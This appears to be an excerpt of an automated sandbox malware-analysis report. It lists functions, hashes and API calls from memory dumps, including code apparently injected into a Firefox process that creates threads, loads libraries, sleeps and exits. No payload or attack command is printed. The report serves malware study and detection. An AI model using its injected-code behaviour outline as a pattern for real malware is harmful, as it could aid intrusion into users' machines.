                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                          • API String ID: 0-871070163
                                                                          • Opcode ID: 05d374e86d0e84251d947e5d58eb73b4ac5bf06ea6dc280de967c8877666eaf6
                                                                          • Instruction ID: d0632bcbf834560201ef1cc4dbd009a445522839e8652431024cc3a8eda6305b
                                                                          • Opcode Fuzzy Hash: 05d374e86d0e84251d947e5d58eb73b4ac5bf06ea6dc280de967c8877666eaf6
                                                                          • Instruction Fuzzy Hash: 1D41BD317047029FD720DE25D841B6AB7E6EB88715F100A2EF99A9B780EB31F8458F91
                                                                          Function 04DCB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04E0728C
                                                                          Strings
                                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 04E07294
                                                                          • RTL: Re-Waiting, xrefs: 04E072C1
                                                                          • RTL: Resource at %p, xrefs: 04E072A3
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                          • API String ID: 885266447-605551621
                                                                          • Opcode ID: c28a4a9539a6e2815fe740ea117c9c64446c384d0a3b6548e1bed82136bb29d0
                                                                          • Instruction ID: bac82fce4a5a127920a48603ea25f8c9bd5676d997d50228697213aaf0c3ebb2
                                                                          • Opcode Fuzzy Hash: c28a4a9539a6e2815fe740ea117c9c64446c384d0a3b6548e1bed82136bb29d0
                                                                          • Instruction Fuzzy Hash: 6E410271704216AFD720DF25CC42B66B7A5FF44718F105619F9A5AB280EB30F896CBD0
                                                                          Function 04B739EE Relevance: 6.3, Strings: 5, Instructions: 32COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697499212.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4b70000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: ,$82?*$9$7.$;r~<$r~:;
                                                                          • API String ID: 0-3609984755
                                                                          • Opcode ID: 80b8583e03af771b33589e52385bfd7e76328a28b2880d175564c6cb31d9f703
                                                                          • Instruction ID: 00769fe4d90ffafa1c8dc9b3053b08cca22f01832e3989361abc78fab540feba
                                                                          • Opcode Fuzzy Hash: 80b8583e03af771b33589e52385bfd7e76328a28b2880d175564c6cb31d9f703
                                                                          • Instruction Fuzzy Hash: 8FF0BB300187949BD7086F10D444E567AD4FF8A309FC0179DF489DB111DA79D6468746
                                                                          Function 04DD7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: __aulldvrm
                                                                          • String ID: +$-
                                                                          • API String ID: 1302938615-2137968064
                                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                          • Instruction ID: 0184de806788c58a391671c0a5cb4c0dee56709db9ae764fb08449ae1daeb33b
                                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                          • Instruction Fuzzy Hash: 6C917070F0021A9BDB38DE69C881ABEB7A5FF44724F54459BE865E72C0E730F9419B60
                                                                          Function 04D99126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: $$@
                                                                          • API String ID: 0-1194432280
                                                                          • Opcode ID: 60fe24d7cea8046f4f3a72f46c2f58f15879cc99fd207b8635ea01b16500f97e
                                                                          • Instruction ID: 66b4b4be3fc43d8c29a70bae1d463e9dcba12650493842d6802e35801022cb6d
                                                                          • Opcode Fuzzy Hash: 60fe24d7cea8046f4f3a72f46c2f58f15879cc99fd207b8635ea01b16500f97e
                                                                          • Instruction Fuzzy Hash: 3E810CB1E002699BDB35CF54CC54BEEB7B4BB08754F0141DAAA19B7240E731AE84CFA0
                                                                          Function 04E1CEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • @_EH4_CallFilterFunc@8.LIBCMT ref: 04E1CFBD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: CallFilterFunc@8
                                                                          • String ID: @$@4Qw@4Qw
                                                                          • API String ID: 4062629308-2383119779
                                                                          • Opcode ID: 02d1020895315e28772fafc3bebcf2adce6de2e54c730f18fd48d99902d59f64
                                                                          • Instruction ID: 8a6ab366d3b01895f4dc688efdcb74cb5858ed58d5a0c73b81e7c3647eff2a7d
                                                                          • Opcode Fuzzy Hash: 02d1020895315e28772fafc3bebcf2adce6de2e54c730f18fd48d99902d59f64
                                                                          • Instruction Fuzzy Hash: 7A419FB1A40214DFDB219FA5D840AAEBBF9EF45B08F10512EE909DB264D735F801CB60

                                                                          Execution Graph

                                                                          Execution Coverage:4.5%
                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                          Signature Coverage:0%
                                                                          Total number of Nodes:43
                                                                          Total number of Limit Nodes:4
                                                                          execution_graph 5207 2083c92915b 5208 2083c92916d 5207->5208 5211 2083c929008 5208->5211 5210 2083c929172 5212 2083c924f68 2 API calls 5211->5212 5213 2083c92901d 5212->5213 5213->5210 5186 2083c929008 5189 2083c924f68 5186->5189 5188 2083c92901d 5192 2083c924f71 5189->5192 5190 2083c924f76 5190->5188 5191 2083c925048 5191->5190 5194 2083c9250b6 ExitProcess 5191->5194 5192->5190 5192->5191 5195 2083c918888 5192->5195 5196 2083c9188ae 5195->5196 5197 2083c918927 5196->5197 5198 2083c9188f9 CreateThread 5196->5198 5197->5191 5198->5191 5214 2083c92917f 5215 2083c929184 5214->5215 5216 2083c929008 2 API calls 5215->5216 5217 2083c929189 5216->5217 5218 2083c924f5f 5220 2083c924f71 5218->5220 5219 2083c924f76 5220->5219 5221 2083c918888 CreateThread 5220->5221 5222 2083c925048 5220->5222 5221->5222 5222->5219 5223 2083c9250b6 ExitProcess 5222->5223 5228 2083c91887e 5229 2083c918884 5228->5229 5230 2083c918927 5229->5230 5231 2083c9188f9 CreateThread 5229->5231 5199 2083c922902 5200 2083c922930 5199->5200 5201 2083c922934 5200->5201 5202 2083c922970 LdrLoadDll 5200->5202 5202->5201 5224 2083c918761 5225 2083c918779 5224->5225 5226 2083c91882d 5225->5226 5227 2083c9188f9 CreateThread 5225->5227 5203 2083c9194b7 5206 2083c9194d4 5203->5206 5204 2083c91956d 5205 2083c9194fb SleepEx 5205->5206 5206->5204 5206->5205

                                                                          Executed Functions

                                                                          Function 000002083C918761 Relevance: 1.7, APIs: 1, Instructions: 162COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
                                                                          • Instruction ID: c66d9b150c9a2de5ed2135c7b42d963944bd45c8a70f389ff9c61d71ae969087
                                                                          • Opcode Fuzzy Hash: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
                                                                          • Instruction Fuzzy Hash: DF516B321087458EE7119B38949A3E6BFE0FB89710F0609EDD9D68B293DF2A9482D745
                                                                          Function 000002083C924F5F Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 347a13435c7f47cb4bd3d641f41ed67b8d8756f54f41119ec61586b8897191f2
                                                                          • Instruction ID: e3b0936d17a90202d9067e1eb427491c3285d505081302b4bfb822e483c78fe7
                                                                          • Opcode Fuzzy Hash: 347a13435c7f47cb4bd3d641f41ed67b8d8756f54f41119ec61586b8897191f2
                                                                          • Instruction Fuzzy Hash: 1841912025474C8AEBA4BB24448E39FF9D1BBC4710F9209A99ECAC7283DF24C4848742
                                                                          Function 000002083C9194B7 Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
                                                                          • Instruction ID: da561eed8fafaf86981587acef548cf6304a40b919949f17e954148daa5698e7
                                                                          • Opcode Fuzzy Hash: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
                                                                          • Instruction Fuzzy Hash: 482130305147298EFB55DB2884CA7AA7AD4E786B00F4709F99ECBC62C7CE2488C14745
                                                                          Function 000002083C91887E Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID: CreateThread
                                                                          • String ID:
                                                                          • API String ID: 2422867632-0
                                                                          • Opcode ID: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
                                                                          • Instruction ID: 0dbfbce9452ac3651d26d4da7ce3f382e5a0f66827a4f64a145b8c40250fa432
                                                                          • Opcode Fuzzy Hash: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
                                                                          • Instruction Fuzzy Hash: BA11C230114B488BEB55AF28C48E397B7E1FB88304F0205A9D9A5CB296DF7984828B52
                                                                          Function 000002083C922902 Relevance: 1.6, APIs: 1, Instructions: 54libraryloaderCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 10991c725ebc5ca467907168f1613dc24b379703bb66119adb9008cbe50dc9b3
                                                                          • Instruction ID: bc8a23401df9aa53dd5f0e5c699b58ea4c05d73fb7746df812b44cde5a47a90b
                                                                          • Opcode Fuzzy Hash: 10991c725ebc5ca467907168f1613dc24b379703bb66119adb9008cbe50dc9b3
                                                                          • Instruction Fuzzy Hash: F7018032218B0C4BE754E734C4897ABB6E0FBD8314F050569A9CDC6192EF35D684DB42
                                                                          Function 000002083C918888 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000C.00000002.2288165708.000002083C8A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000002083C8A0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_12_2_2083c8a0000_firefox.jbxd
                                                                          Similarity
                                                                          • API ID: CreateThread
                                                                          • String ID:
                                                                          • API String ID: 2422867632-0
                                                                          • Opcode ID: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
                                                                          • Instruction ID: e2bc933265be1657f908c5cd41f7e7388ae0b91e6041ae7bdb7f1320e973522e
                                                                          • Opcode Fuzzy Hash: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
                                                                          • Instruction Fuzzy Hash: 96118230114B488BEB45AF28C48D396B6D1FB88304F0645BDD9A9C7296CF79C4818B51